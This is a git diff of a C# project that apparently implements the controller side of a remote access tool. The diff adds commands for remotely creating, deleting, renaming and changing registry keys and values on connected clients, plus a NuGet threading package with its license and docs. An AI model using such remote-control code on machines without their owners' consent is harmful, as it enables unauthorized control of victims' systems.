registryValue = (RegistryValueLstItem) item; - //DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "DeleteRegistryValue"; + msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + msgpack.ForcePathObject("ValueName").AsString = registryValue.RegName; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } @@ -780,6 +764,12 @@ namespace Server.Forms if (frm.ShowDialog() == DialogResult.OK) { //ChangeRegistryValue(keyPath, (RegValueData) frm.Tag); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; + msgpack.ForcePathObject("Command").AsString = "ChangeRegistryValue"; + //msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; + //msgpack.ForcePathObject("Kindstring").AsString = "11"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } @@ -790,7 +780,7 @@ namespace Server.Forms { try { - if (!Client.TcpClient.Connected) this.Close(); + if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close(); } catch { this.Close(); } } diff --git a/Server/Forms/FormRegistryEditor.resx b/Server/Forms/FormRegistryEditor.resx index 621b5a3..b36634b 100644 --- a/Server/Forms/FormRegistryEditor.resx +++ b/Server/Forms/FormRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAFoAQUBaAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAF4AQUBeAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAYgBBAGIAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAZgBBAGYAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Handle Packet/HandleListView.cs b/Server/Handle Packet/HandleListView.cs index 44958b1..185ad41 100644 --- a/Server/Handle Packet/HandleListView.cs +++ b/Server/Handle Packet/HandleListView.cs @@ -36,11 +36,8 @@ namespace Server.Handle_Packet } catch { } } - if (unpack_msgpack.ForcePathObject("User").AsString.ToLower() =="user") - { - client.Admin = false; - } - else + client.Admin = false; + if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() !="user") { client.Admin = true; } diff --git a/Server/Handle Packet/HandleRegManager.cs b/Server/Handle Packet/HandleRegManager.cs index 90e5d1e..08cfa4e 100644 --- a/Server/Handle Packet/HandleRegManager.cs +++ b/Server/Handle Packet/HandleRegManager.cs @@ -1,4 +1,5 @@ -using ProtoBuf; +using Microsoft.Win32; +using ProtoBuf; using Server.Connection; using Server.Forms; using Server.Helper; @@ -17,7 +18,7 @@ namespace Server.Handle_Packet { class HandleRegManager { - public async void RegManager(Clients client, MsgPack unpack_msgpack) + public void RegManager(Clients client, MsgPack unpack_msgpack) { try { @@ -25,7 +26,7 @@ namespace Server.Handle_Packet { case "setClient": { - FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (FM != null) { if (FM.Client == null) @@ -37,6 +38,20 @@ namespace Server.Handle_Packet } break; } + + case "CreateKey": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString; + byte[] Matchbyte = unpack_msgpack.ForcePathObject("Match").GetAsBytes(); + + FM.CreateNewKey(ParentPath, DeSerializeMatch(Matchbyte)); + } + break; + } + case "LoadKey": { FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; @@ -45,26 +60,144 @@ namespace Server.Handle_Packet string rootKey = unpack_msgpack.ForcePathObject("RootKey").AsString; byte[] Matchesbyte = unpack_msgpack.ForcePathObject("Matches").GetAsBytes(); - //BinaryFormatter formatter = new BinaryFormatter(); - //MemoryStream mStream = new MemoryStream(); - //mStream.Write(Matchesbyte, 0, Matchesbyte.Length); - //mStream.Flush(); - //mStream.Seek(0, SeekOrigin.Begin); - - - //RegistrySeeker seeker; - //seeker = DeSerialize(Matchesbyte); - FM.AddKeys(rootKey, DeSerialize(Matchesbyte)); + FM.AddKeys(rootKey, DeSerializeMatches(Matchesbyte)); } break; } + case "DeleteKey": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string rootKey = unpack_msgpack.ForcePathObject("ParentPath").AsString; + string subkey = unpack_msgpack.ForcePathObject("KeyName").AsString; + + FM.DeleteKey(rootKey, subkey); + } + break; + } + + case "RenameKey": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string rootKey = unpack_msgpack.ForcePathObject("rootKey").AsString; + string oldName = unpack_msgpack.ForcePathObject("oldName").AsString; + string newName = unpack_msgpack.ForcePathObject("newName").AsString; + + FM.RenameKey(rootKey, oldName, newName); + } + break; + } + + case "CreateValue": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString; + string Kindstring = unpack_msgpack.ForcePathObject("Kindstring").AsString; + string newKeyName = unpack_msgpack.ForcePathObject("newKeyName").AsString; + RegistryValueKind Kind = RegistryValueKind.None; + switch (Kindstring) + { + case "-1": + { + Kind = RegistryValueKind.None; + break; + } + case "0": + { + Kind = RegistryValueKind.Unknown; + break; + } + case "1": + { + Kind = RegistryValueKind.String; + break; + } + case "2": + { + Kind = RegistryValueKind.ExpandString; + break; + } + case "3": + { + Kind = RegistryValueKind.Binary; + break; + } + case "4": + { + Kind = RegistryValueKind.DWord; + break; + } + case "7": + { + Kind = RegistryValueKind.MultiString; + break; + } + case "11": + { + Kind = RegistryValueKind.QWord; + break; + } + } + RegValueData regValueData = new RegValueData(); + regValueData.Name = newKeyName; + regValueData.Kind = Kind; + regValueData.Data = new byte[] { }; + + FM.CreateValue(keyPath, regValueData); + } + break; + } + + case "DeleteValue": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString; + string ValueName = unpack_msgpack.ForcePathObject("ValueName").AsString; + + FM.DeleteValue(keyPath, ValueName); + } + break; + } + + case "RenameValue": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString; + string OldValueName = unpack_msgpack.ForcePathObject("OldValueName").AsString; + string NewValueName = unpack_msgpack.ForcePathObject("NewValueName").AsString; + + FM.RenameValue(keyPath, OldValueName, NewValueName); + } + break; + } + case "ChangeValue": + { + FormRegistryEditor FM = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + string keyPath = unpack_msgpack.ForcePathObject("keyPath").AsString; + byte[] RegValueDatabyte = unpack_msgpack.ForcePathObject("Value").GetAsBytes(); + + FM.ChangeValue(keyPath, DeSerializeRegValueData(RegValueDatabyte)); + } + break; + } } } catch { } } - public static RegSeekerMatch[] DeSerialize(byte[] bytes) + public static RegSeekerMatch[] DeSerializeMatches(byte[] bytes) { using (MemoryStream ms = new MemoryStream(bytes)) { @@ -72,5 +205,22 @@ namespace Server.Handle_Packet return Matches; } } + public static RegSeekerMatch DeSerializeMatch(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream(bytes)) + { + RegSeekerMatch Match = Serializer.Deserialize(ms); + return Match; + } + } + + public static RegValueData DeSerializeRegValueData(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream(bytes)) + { + RegValueData Value = Serializer.Deserialize(ms); + return Value; + } + } } } diff --git a/Server/Server.csproj b/Server/Server.csproj index 9e5ed8c..df9a65b 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -113,6 +113,9 @@ + + ..\packages\System.Threading.Thread.4.3.0\lib\net46\System.Threading.Thread.dll + diff --git a/Server/packages.config b/Server/packages.config index 5aa625d..1a6c8d1 100644 --- a/Server/packages.config +++ b/Server/packages.config @@ -12,5 +12,6 @@ + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/.signature.p7s b/packages/System.Threading.Thread.4.3.0/.signature.p7s new file mode 100644 index 0000000..230eb26 Binary files /dev/null and b/packages/System.Threading.Thread.4.3.0/.signature.p7s differ diff --git a/packages/System.Threading.Thread.4.3.0/System.Threading.Thread.4.3.0.nupkg b/packages/System.Threading.Thread.4.3.0/System.Threading.Thread.4.3.0.nupkg new file mode 100644 index 0000000..ec05486 Binary files /dev/null and b/packages/System.Threading.Thread.4.3.0/System.Threading.Thread.4.3.0.nupkg differ diff --git a/packages/System.Threading.Thread.4.3.0/ThirdPartyNotices.txt b/packages/System.Threading.Thread.4.3.0/ThirdPartyNotices.txt new file mode 100644 index 0000000..55cfb20 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ThirdPartyNotices.txt @@ -0,0 +1,31 @@ +This Microsoft .NET Library may incorporate components from the projects listed +below. Microsoft licenses these components under the Microsoft .NET Library +software license terms. The original copyright notices and the licenses under +which Microsoft received such components are set forth below for informational +purposes only. Microsoft reserves all rights not expressly granted herein, +whether by implication, estoppel or otherwise. + +1. .NET Core (https://github.com/dotnet/core/) + +.NET Core +Copyright (c) .NET Foundation and Contributors + +The MIT License (MIT) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/dotnet_library_license.txt b/packages/System.Threading.Thread.4.3.0/dotnet_library_license.txt new file mode 100644 index 0000000..92b6c44 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/dotnet_library_license.txt @@ -0,0 +1,128 @@ + +MICROSOFT SOFTWARE LICENSE TERMS + + +MICROSOFT .NET LIBRARY + +These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft + +· updates, + +· supplements, + +· Internet-based services, and + +· support services + +for this software, unless other terms accompany those items. If so, those terms apply. + +BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE. + + +IF YOU COMPLY WITH THESE LICENSE TERMS, YOU HAVE THE PERPETUAL RIGHTS BELOW. + +1. INSTALLATION AND USE RIGHTS. + +a. Installation and Use. You may install and use any number of copies of the software to design, develop and test your programs. + +b. Third Party Programs. The software may include third party programs that Microsoft, not the third party, licenses to you under this agreement. Notices, if any, for the third party program are included for your information only. + +2. ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS. + +a. DISTRIBUTABLE CODE. The software is comprised of Distributable Code. “Distributable Code” is code that you are permitted to distribute in programs you develop if you comply with the terms below. + +i. Right to Use and Distribute. + +· You may copy and distribute the object code form of the software. + +· Third Party Distribution. You may permit distributors of your programs to copy and distribute the Distributable Code as part of those programs. + +ii. Distribution Requirements. For any Distributable Code you distribute, you must + +· add significant primary functionality to it in your programs; + +· require distributors and external end users to agree to terms that protect it at least as much as this agreement; + +· display your valid copyright notice on your programs; and + +· indemnify, defend, and hold harmless Microsoft from any claims, including attorneys’ fees, related to the distribution or use of your programs. + +iii. Distribution Restrictions. You may not + +· alter any copyright, trademark or patent notice in the Distributable Code; + +· use Microsoft’s trademarks in your programs’ names or in a way that suggests your programs come from or are endorsed by Microsoft; + +· include Distributable Code in malicious, deceptive or unlawful programs; or + +· modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that + +· the code be disclosed or distributed in source code form; or + +· others have the right to modify it. + +3. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not + +· work around any technical limitations in the software; + +· reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation; + +· publish the software for others to copy; + +· rent, lease or lend the software; + +· transfer the software or this agreement to any third party; or + +· use the software for commercial software hosting services. + +4. BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software. + +5. DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes. + +6. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see www.microsoft.com/exporting. + +7. SUPPORT SERVICES. Because this software is “as is,” we may not provide support services for it. + +8. ENTIRE AGREEMENT. This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services. + +9. APPLICABLE LAW. + +a. United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort. + +b. Outside the United States. If you acquired the software in any other country, the laws of that country apply. + +10. LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so. + +11. DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS-IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY GUARANTEES UNDER YOUR LOCAL LAWS WHICH THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. + +FOR AUSTRALIA – YOU HAVE STATUTORY GUARANTEES UNDER THE AUSTRALIAN CONSUMER LAW AND NOTHING IN THESE TERMS IS INTENDED TO AFFECT THOSE RIGHTS. + +12. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER FROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES. + +This limitation applies to + +· anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and + +· claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law. + +It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages. + +Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French. + +Remarque : Ce logiciel étant distribué au Québec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en français. + +EXONÉRATION DE GARANTIE. Le logiciel visé par une licence est offert « tel quel ». Toute utilisation de ce logiciel est à votre seule risque et péril. Microsoft n’accorde aucune autre garantie expresse. Vous pouvez bénéficier de droits additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualité marchande, d’adéquation à un usage particulier et d’absence de contrefaçon sont exclues. + +LIMITATION DES DOMMAGES-INTÉRÊTS ET EXCLUSION DE RESPONSABILITÉ POUR LES DOMMAGES. Vous pouvez obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement à hauteur de 5,00 $ US. Vous ne pouvez prétendre à aucune indemnisation pour les autres dommages, y compris les dommages spéciaux, indirects ou accessoires et pertes de bénéfices. + +Cette limitation concerne : + +· tout ce qui est relié au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et + +· les réclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilité stricte, de négligence ou d’une autre faute dans la limite autorisée par la loi en vigueur. + +Elle s’applique également, même si Microsoft connaissait ou devrait connaître l’éventualité d’un tel dommage. Si votre pays n’autorise pas l’exclusion ou la limitation de responsabilité pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l’exclusion ci-dessus ne s’appliquera pas à votre égard. + +EFFET JURIDIQUE. Le présent contrat décrit certains droits juridiques. Vous pourriez avoir d’autres droits prévus par les lois de votre pays. Le présent contrat ne modifie pas les droits que vous confèrent les lois de votre pays si celles-ci ne le permettent pas. + + diff --git a/packages/System.Threading.Thread.4.3.0/lib/MonoAndroid10/_._ b/packages/System.Threading.Thread.4.3.0/lib/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/lib/MonoTouch10/_._ b/packages/System.Threading.Thread.4.3.0/lib/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/lib/net46/System.Threading.Thread.dll b/packages/System.Threading.Thread.4.3.0/lib/net46/System.Threading.Thread.dll new file mode 100644 index 0000000..c0271b0 Binary files /dev/null and b/packages/System.Threading.Thread.4.3.0/lib/net46/System.Threading.Thread.dll differ diff --git a/packages/System.Threading.Thread.4.3.0/lib/netcore50/_._ b/packages/System.Threading.Thread.4.3.0/lib/netcore50/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/lib/netstandard1.3/System.Threading.Thread.dll b/packages/System.Threading.Thread.4.3.0/lib/netstandard1.3/System.Threading.Thread.dll new file mode 100644 index 0000000..a981cb1 Binary files /dev/null and b/packages/System.Threading.Thread.4.3.0/lib/netstandard1.3/System.Threading.Thread.dll differ diff --git a/packages/System.Threading.Thread.4.3.0/lib/xamarinios10/_._ b/packages/System.Threading.Thread.4.3.0/lib/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/lib/xamarinmac20/_._ b/packages/System.Threading.Thread.4.3.0/lib/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/lib/xamarintvos10/_._ b/packages/System.Threading.Thread.4.3.0/lib/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/lib/xamarinwatchos10/_._ b/packages/System.Threading.Thread.4.3.0/lib/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/ref/MonoAndroid10/_._ b/packages/System.Threading.Thread.4.3.0/ref/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/ref/MonoTouch10/_._ b/packages/System.Threading.Thread.4.3.0/ref/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/ref/net46/System.Threading.Thread.dll b/packages/System.Threading.Thread.4.3.0/ref/net46/System.Threading.Thread.dll new file mode 100644 index 0000000..c0271b0 Binary files /dev/null and b/packages/System.Threading.Thread.4.3.0/ref/net46/System.Threading.Thread.dll differ diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/System.Threading.Thread.dll b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/System.Threading.Thread.dll new file mode 100644 index 0000000..0887ba6 Binary files /dev/null and b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/System.Threading.Thread.dll differ diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/System.Threading.Thread.xml new file mode 100644 index 0000000..c023a8c --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/System.Threading.Thread.xml @@ -0,0 +1,157 @@ + + + + System.Threading.Thread + + + + Represents the method that executes on a . + An object that contains data for the thread procedure. + 1 + + + Creates and controls a thread, sets its priority, and gets its status. To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class, specifying a delegate that allows an object to be passed to the thread when the thread is started. + A delegate that represents the methods to be invoked when this thread begins executing. + + is null. + + + Initializes a new instance of the class. + A delegate that represents the methods to be invoked when this thread begins executing. + The parameter is null. + + + Gets the currently running thread. + A that is the representation of the currently running thread. + 1 + + + Gets a value indicating the execution status of the current thread. + true if this thread has been started and has not terminated normally or aborted; otherwise, false. + 1 + + + Gets or sets a value indicating whether or not a thread is a background thread. + true if this thread is or is to become a background thread; otherwise, false. + The thread is dead. + 1 + + + Blocks the calling thread until a thread terminates, while continuing to perform standard COM and SendMessage pumping. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + Blocks the calling thread until a thread terminates or the specified time elapses, while continuing to perform standard COM and SendMessage pumping. + true if the thread has terminated; false if the thread has not terminated after the amount of time specified by the parameter has elapsed. + The number of milliseconds to wait for the thread to terminate. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + Gets a unique identifier for the current managed thread. + An integer that represents a unique identifier for this managed thread. + 1 + + + Gets or sets the name of the thread. + A string containing the name of the thread, or null if no name was set. + A set operation was requested, but the Name property has already been set. + 1 + + + Suspends the current thread for the specified number of milliseconds. + The number of milliseconds for which the thread is suspended. If the value of the argument is zero, the thread relinquishes the remainder of its time slice to any thread of equal priority that is ready to run. If there are no other threads of equal priority that are ready to run, execution of the current thread is not suspended. + The time-out value is negative and is not equal to . + 1 + + + Suspends the current thread for the specified amount of time. + The amount of time for which the thread is suspended. If the value of the argument is , the thread relinquishes the remainder of its time slice to any thread of equal priority that is ready to run. If there are no other threads of equal priority that are ready to run, execution of the current thread is not suspended. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + Causes the operating system to change the state of the current instance to . + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + Causes the operating system to change the state of the current instance to , and optionally supplies an object containing data to be used by the method the thread executes. + An object that contains data to be used by the method the thread executes. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + Gets a value containing the states of the current thread. + One of the values indicating the state of the current thread. The initial value is Unstarted. + 2 + + + Represents the method that executes on a . + 1 + + + The exception that is thrown when a failure occurs in a managed thread after the underlying operating system thread has been started, but before the thread is ready to execute user code. + + + Specifies the execution states of a . + 1 + + + The thread state includes and the thread is now dead, but its state has not yet changed to . + + + The method has been invoked on the thread, but the thread has not yet received the pending that will attempt to terminate it. + + + The thread is being executed as a background thread, as opposed to a foreground thread. This state is controlled by setting the property. + + + The thread has been started, it is not blocked, and there is no pending . + + + The thread has stopped. + + + The thread is being requested to stop. This is for internal use only. + + + The thread has been suspended. + + + The thread is being requested to suspend. + + + The method has not been invoked on the thread. + + + The thread is blocked. This could be the result of calling or , of requesting a lock — for example, by calling or — or of waiting on a thread synchronization object such as . + + + The exception that is thrown when a is in an invalid for the method call. + 2 + + + Initializes a new instance of the class with default properties. + + + Initializes a new instance of the class with a specified error message. + The error message that explains the reason for the exception. + + + Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. + The error message that explains the reason for the exception. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/de/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/de/System.Threading.Thread.xml new file mode 100644 index 0000000..ca06b4b --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/de/System.Threading.Thread.xml @@ -0,0 +1,157 @@ + + + + System.Threading.Thread + + + + Stellt die Methode dar, die für einen ausgeführt wird. + Ein Objekt, das Daten für die Threadprozedur enthält. + 1 + + + Erstellt und steuert einen Thread, legt dessen Priorität fest und ruft den Status ab. Informationen zum Durchsuchen des .NET Framework-Quellcodes für diesen Typ finden Sie in der Verweisquelle. + 1 + + + Initialisiert eine neue Instanz der -Klasse und gibt dabei einen Delegaten an, der das Übergeben eines Objekts an den Thread bei dessen Start ermöglicht. + Ein Delegat, der die Methoden darstellt, die bei Beginn der Ausführung dieses Threads aufgerufen werden müssen. + + is null. + + + Initialisiert eine neue Instanz der -Klasse. + Ein -Delegat, der die Methoden darstellt, die bei Beginn der Ausführung dieses Threads aufgerufen werden müssen. + The parameter is null. + + + Ruft den derzeit ausgeführten Thread ab. + Ein , der den derzeit ausgeführten Thread darstellt. + 1 + + + Ruft einen Wert ab, der den Ausführungsstatus des aktuellen Threads angibt. + true, wenn dieser Thread gestartet und ordnungsgemäß beendet bzw. abgebrochen wurde, andernfalls false. + 1 + + + Ruft einen Wert ab, der angibt, ob es sich bei einem Thread um einen Hintergrundthread handelt, oder legt diesen fest. + true, wenn dieser Thread ein Hintergrundthread ist oder zu einem solchen wird, andernfalls false. + The thread is dead. + 1 + + + Blockiert den aufrufenden Thread, bis ein Thread beendet wird, während das Standard-COM- und das SendMessage-Pumping fortgesetzt werden. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + Blockiert den aufrufenden Thread, bis ein Thread beendet wird oder die festgelegte Zeit verstreicht, während das Standard-COM- und das SendMessage-Pumping fortgesetzt werden. + true, wenn der Thread beendet wurde. false, wenn der Thread nach Ablauf des vom -Parameter angegebenen Zeitraums nicht beendet wurde. + Die Anzahl der Millisekunden, die auf das Beenden des Threads gewartet werden soll. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + Ruft einen eindeutigen Bezeichner für den aktuellen verwalteten Thread ab. + Eine ganze Zahl, die einen eindeutigen Bezeichner für diesen verwalteten Thread darstellt. + 1 + + + Ruft den Namen des Threads ab oder legt diesen fest. + Eine Zeichenfolge mit dem Namen des Threads, oder null, wenn kein Name festgelegt wurde. + A set operation was requested, but the Name property has already been set. + 1 + + + Hält den aktuellen Thread für die angegebene Anzahl von Millisekunden an. + Die Anzahl von Millisekunden, die der Thread angehalten wird.Wenn der Wert des -Arguments 0 (null) lautet, gibt der Thread den Rest seines Zeitanteils an 